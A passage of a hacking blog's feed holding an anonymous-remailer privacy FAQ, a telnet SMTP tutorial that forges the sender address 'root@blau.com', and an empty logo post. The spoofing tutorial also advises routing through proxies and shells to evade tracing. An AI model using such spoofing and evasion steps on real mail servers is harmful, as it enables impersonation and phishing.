&amp;nbsp; &amp;nbsp; &amp;nbsp;remailers on the Internet. (Undoubtedly, there are many&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;PRIVATE remailers that restrict who may use them.)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;Remailers tend to come and go. First, they require&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;equipment and labor to set up and maintain; second, they&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;produce zero revenue.&lt;br /&gt;
&lt;br /&gt;
Why are remailers free?&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;There is a simple answer. How can remailer administrators&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;charge people who want maximum privacy? Administrators&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;can&#39;t ask for a Visa number or take checks.&lt;br /&gt;
&lt;br /&gt;
Why do people operate remailers, if not for money?&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;People set up remailers for their own personal usage,&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;which they may or may not care to share with the rest of&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;us. Joshua Quittner, co-author of the high-tech thriller&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;MOTHER&#39;S DAY, interviewed Mr. Helsingius for WIRED&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;magazine. Helsingius said:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;It&#39;s important to be able to express certain&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; views without everyone knowing who you are.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; One of the best examples was the great debate&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; about Caller ID on phones. People were really&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; upset that the person at the receiving end&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; would know who was calling. On things like&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; telephones, people take for granted the fact&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; that they can be anonymous if they want to and&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; they get really upset if people take that&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; away. I think the same thing applies for e-&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mail.&quot;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;Living in Finland, I got a pretty close view&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; of how things were in the former Soviet Union.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; If you actually owned a photocopier or even a&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; typewriter there you would have to register it&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; and they would take samples of what your&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; typewriter would put out so they could&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; identify it later. That&#39;s something I find so&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; appalling. The fact that you have to register&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; every means of providing information to the&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; public sort of parallels it, like saying you&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; have to sign everything on the Net. We always&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; have to be able to track you down.&quot;&lt;br /&gt;
&lt;br /&gt;
What makes an &quot;ideal&quot; anonymous remailer?&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;An &quot;ideal&quot; anonymous remailer is: (a) Easy to use. (b)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;Run by a reliable individual whose system actually does&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;what it promises. In addition, this person should have&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;the computer expertise to take prudent steps to safeguard&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;your privacy from civilian or government hackers. (c)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;Able to forward your messages in a timely manner. By&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;&quot;timely&quot; I mean minutes or hours. (d) Holds your messages&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;for a RANDOM time before forwarding them. This time lag&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;makes it harder for snoops to link a message that arrives&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;at, say, 3:00 P.M. with a message that leaves your&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;machine at, say, 2:59 P.M. (e) Permits (better yet&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;encourages!) PGP encryption software. If a remailer does&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;NOT permit PGP (Pretty Good Privacy), reasonable people&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;might assume that the remailer administrator enjoys&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;reading forwarded mail.&lt;br /&gt;
&lt;br /&gt;
What makes a responsible remailer user?&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;A responsible user: (a) Sends text files of a reasonable&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;length. Binary files take too much transmission time. (b)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;Transmits files selectively. Remailers are NOT designed&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;to send &quot;You Can Get Rich&quot; chain letters or other junk&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;mail.&lt;br /&gt;
&lt;br /&gt;
Who are irresponsible remailer users?&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;Here is a quote from one remailer administrator:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;&quot;This remailer has been abused in the past, mostly by&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;users hiding behind anonymity to harass other users. I&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;will take steps to squish users who do this. &amp;nbsp;Lets keep&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;the net a friendly and productive place.... Using this&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;remailer to send death threats is highly obnoxious. &amp;nbsp;I&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;will reveal your return address to the police if you do&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;this.&quot;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;Legitimate remailer administrators will NOT TOLERATE&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;harassment or criminal activity. Report any such&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;incidents to the remailer administrator.&lt;br /&gt;
&lt;br /&gt;
How safe are anonymous remailers? [for paranoids only :-)]&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;For most low-security tasks, such as responding to&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;personal ads, remailers are undoubtedly safer than using&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;real e-mail addresses. However, all the best made plans&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;of mice and men have weaknesses. Suppose, for example,&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;that you are a government employee, who just discovered&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;that your boss is taking bribes. Is it safe to use an&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;anonymous remailer to send evidence to a government&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;whistleblower&#39;s e-mail hot line? Here are a few points to&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;ponder:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;(a) The person who runs your e-mail system might&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;intercept your secret messages to and from the anonymous&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;remailer. This gives him proof that YOU are reporting&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;your corrupt boss. This evidence could put you in danger.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;(b) It is possible that the anonymous remailer is a&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;government sting operation or a criminal enterprise,&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;designed to entrap people. The person who runs this&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;service might be your corrupt boss&#39; partner.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;(c) Hackers can do magic with computers. It&#39;s possible&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;that hackers have broken into the remailer (unbeknownst&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;to the remailer&#39;s administrator) and that they can read&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;your messages at will.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;Hard-core privacy people do not trust individual&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;remailers. These people write programs that send their&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;messages through several remailers. This way only the&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;first remailer knows their real address, and the first&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;remailer cannot know the final destination of the e-mail&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;message. In addition, they PGP encrypt all messages.&lt;br /&gt;
&lt;br /&gt;
Where can I learn more?&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;Go to the Usenet news group ALT.PRIVACY.ANON-SERVER. Pay&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;special attention to posts by Raph Levien, &quot;The Remailer&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;Guru.&quot;&lt;br /&gt;
&lt;br /&gt;
Where can I get a list of current remailers?&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;Raph Levien [see above] generously runs a remailer&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;pinging service which collects details about remailer&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;features and reliability. To read Levien&#39;s data, finger:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;lt;remailer-list@kiwi.cs.berkeley.edu&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;There is also a Web version of the same information, at:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;http://www.cs.berkeley.edu/~raph/remailer-list.html&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;In addition, Raph Levien &amp;lt;raph@kiwi.cs.berkeley.edu&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;regularly posts his &quot;List of Reliable Remailers&quot; at&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;ALT.PRIVACY.ANON-SERVER.&lt;br /&gt;
&lt;br /&gt;
Anything else I should know?&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;YOUR privacy and safety are in danger! The black market&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;price for your IRS records is $500. YOUR medical records&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;are even cheaper. Prolific bank, credit and medical&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;databases, the Clipper Chip Initiative, computer matching&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;programs, cordless &amp;amp; cellular phone scanners, Digital&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;Telephony legislation, and (hidden) video surveillance&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;are just a few factors that threaten every law abiding&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;citizen. Our anti-privacy society gives criminals and&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;snoops computer data about YOU on a silver platter.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;If you want to protect your privacy, I urge you to join&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;organizations such as the Electronic Frontier Foundation&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;lt;membership@eff.org&amp;gt; and Computer Professionals for&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;Social Responsibility &amp;lt;info@cpsr.org&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/4892210795826953313/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8981203489549642442/4892210795826953313?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/4892210795826953313'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/4892210795826953313'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/2013/03/article-offers-nontechnical-overview-of.html' title=''/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-2378548083412292183</id><published>2012-12-27T06:06:00.000-08:00</published><updated>2012-12-27T06:06:13.252-08:00</updated><title type='text'>  Understanding SMTP and how to send emails via Telnet.                    </title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwPYDvHHlpoU4ywhVOjx7E4wkuQsgH7P9aVXjjSVwl2EhiaUUuj9M17BV1udcYWnUeweilmGeyZiSnFT_YXmtlS0roNYVYpjvKJjGdzqif9fFPV2C3itexdS49z_3u7gp_DLcugXBx0sQ/s1600/telnet-window.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;292&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwPYDvHHlpoU4ywhVOjx7E4wkuQsgH7P9aVXjjSVwl2EhiaUUuj9M17BV1udcYWnUeweilmGeyZiSnFT_YXmtlS0roNYVYpjvKJjGdzqif9fFPV2C3itexdS49z_3u7gp_DLcugXBx0sQ/s320/telnet-window.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;h2 style=&quot;color: #3d85c6; text-align: left;&quot;&gt;
&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: #3d85c6;&quot;&gt;&amp;nbsp; Understanding SMTP and how to send emails via Telnet.&amp;nbsp;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/h2&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;This text explains how one can telnet do an SMTP server, and use that&lt;br /&gt;&amp;nbsp;server to their advantage via commandline.&amp;nbsp; What you are about to see, is&lt;br /&gt;&amp;nbsp;what really goes on behind the scenes of every program you use to send &lt;br /&gt;&amp;nbsp;email.&amp;nbsp; Now you will know how to do it manually and how to send email&lt;br /&gt;&amp;nbsp;from other people.&amp;nbsp; This can be easily done in your email software, but&lt;br /&gt;&amp;nbsp;we dont like that GUI mess, so we stick with the commandline.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;NOTE:&amp;nbsp; I do not recommend that anyone take this knowledge and attempt &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; to cause any harm with it.&amp;nbsp; The emails being sent &quot;CAN&quot; be &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; traced back to you if needed. If you plan to use this in a manner&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; that is not appropriate then i suggest highly that you bnc through &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; wingates, proxies and/or shells before reaching the smtp server. (It wont&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; guarantee anything but it will make the smtp owners attempt to trace &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; you just alittle harder.)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Vulnerable Machines: Any machine running an SMTP server.&amp;nbsp; (port 25 usually)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Any machine running SMTP that allows forwarding will let you&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; send emails to anywhere in the world. (not many of these around&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; anymore) The rest will only allow you to send emails within&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; their domain.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;-------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;Found below is an example on how one can achieve the sending of spoofed mail.&amp;nbsp; &lt;br /&gt;&amp;nbsp;-------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;/* Connect to the smtp server */&lt;br /&gt;&lt;br /&gt;&amp;nbsp;[brainrawt@yourmommas brainrawt]$ telnet blau.com 25&lt;br /&gt;&amp;nbsp;Trying 205.123.15.34...&lt;br /&gt;&amp;nbsp;Connected to mail.blau.com (205.123.15.34).&lt;br /&gt;&amp;nbsp;Escape character is &#39;^]&#39;.&lt;br /&gt;&amp;nbsp;220 mail.blau.com ESMTP Sendmail 8.9.3/8.9.3; Tue, 3 Jul 2001 18:32:54 -0500&lt;br /&gt;&lt;br /&gt;&amp;nbsp;/* Say &quot;helo&quot; to the server.&amp;nbsp; Its the nice thing to do. */&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;gt;helo blau.com&lt;br /&gt;&amp;nbsp;250 mail.blau.com Hello rawt.blazingpenguin.com [192.168.0.3], pleased to meet you&lt;br /&gt;&lt;br /&gt;&amp;nbsp;/* Tell the server where this email will &quot;appear&quot; to come from */&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;gt;mail from: root@blau.com&lt;br /&gt;&amp;nbsp;250 root@blau.com... Sender ok&lt;br /&gt;&lt;br /&gt;&amp;nbsp;/* Tell the server where this email IS going */&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;gt;rcpt to: brainrawt@blau.com&lt;br /&gt;&amp;nbsp;250 brainrawt@blau.com... Recipient ok&lt;br /&gt;&lt;br /&gt;&amp;nbsp;/* Prepare the server for our message by typing &quot;data&quot; */ &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;gt;data&lt;br /&gt;&amp;nbsp;354 Enter mail, end with &quot;.&quot; on a line by itself&lt;br /&gt;&lt;br /&gt;&amp;nbsp;/* Now we shall get that msg in there (dont forget the &quot;.&quot; on the line by itself.) */&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;gt;This is my message and i am only sending it to help you better understand how this works.&lt;br /&gt;&amp;nbsp;&amp;gt;.&lt;br /&gt;&amp;nbsp;250 SAA29307 Message accepted for delivery&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;/* Message has been accepted by the server.&amp;nbsp; Lets get outta here! */&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;gt;quit&lt;br /&gt;&amp;nbsp;221 mail.blau.com closing connection&lt;br /&gt;&amp;nbsp;Connection closed by foreign host.&lt;br /&gt;&amp;nbsp;[brainrawt@yourmommas brainrawt]$&lt;br /&gt;&lt;br /&gt;&amp;nbsp;--------------------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;The above example has sent an email from &quot;root@blau.com&quot; to &quot;brainrawt@blau.com&quot; with the &lt;br /&gt;&amp;nbsp;message &quot;This is my message and i am only sending it to help you better understand how this &lt;br /&gt;&amp;nbsp;works.&quot; and it has all been done remotely by a user that doesnt even have an account on &lt;br /&gt;&amp;nbsp;blau.com. &lt;br /&gt;&amp;nbsp;--------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/2378548083412292183/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8981203489549642442/2378548083412292183?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/2378548083412292183'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/2378548083412292183'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/2012/12/understanding-smtp-and-how-to-send.html' title='  Understanding SMTP and how to send emails via Telnet.                    '/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwPYDvHHlpoU4ywhVOjx7E4wkuQsgH7P9aVXjjSVwl2EhiaUUuj9M17BV1udcYWnUeweilmGeyZiSnFT_YXmtlS0roNYVYpjvKJjGdzqif9fFPV2C3itexdS49z_3u7gp_DLcugXBx0sQ/s72-c/telnet-window.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-4467357460567717489</id><published>2012-12-14T20:41:00.000-08:00</published><updated>2012-12-14T20:41:30.095-08:00</updated><title type='text'></title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhE1aEyGOHStYrEKq4HvExxVXaosU2n1D4s4F4tOLMxf_nE9aVXCT32TsDa8V1aHESECEejyYDSvVWRrUn6Ds0oRHlvpY5LQIi8aH3559tSnFuCG15iCY88MUJPGoPWxojIt9R3Zchus_U/s1600/original-logo.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;216&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhE1aEyGOHStYrEKq4HvExxVXaosU2n1D4s4F4tOLMxf_nE9aVXCT32TsDa8V1aHESECEejyYDSvVWRrUn6Ds0oRHlvpY5LQIi8aH3559tSnFuCG15iCY88MUJPGoPWxojIt9R3Zchus_U/s400/original-logo.gif&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;h3&gt;
MY LOGO&lt;/h3&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/4467357460567717489/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8981203489549642442/4467357460567717489?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/4467357460567717489'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/4467357460567717489'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/2012/12/blog-post.html' title=''/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" 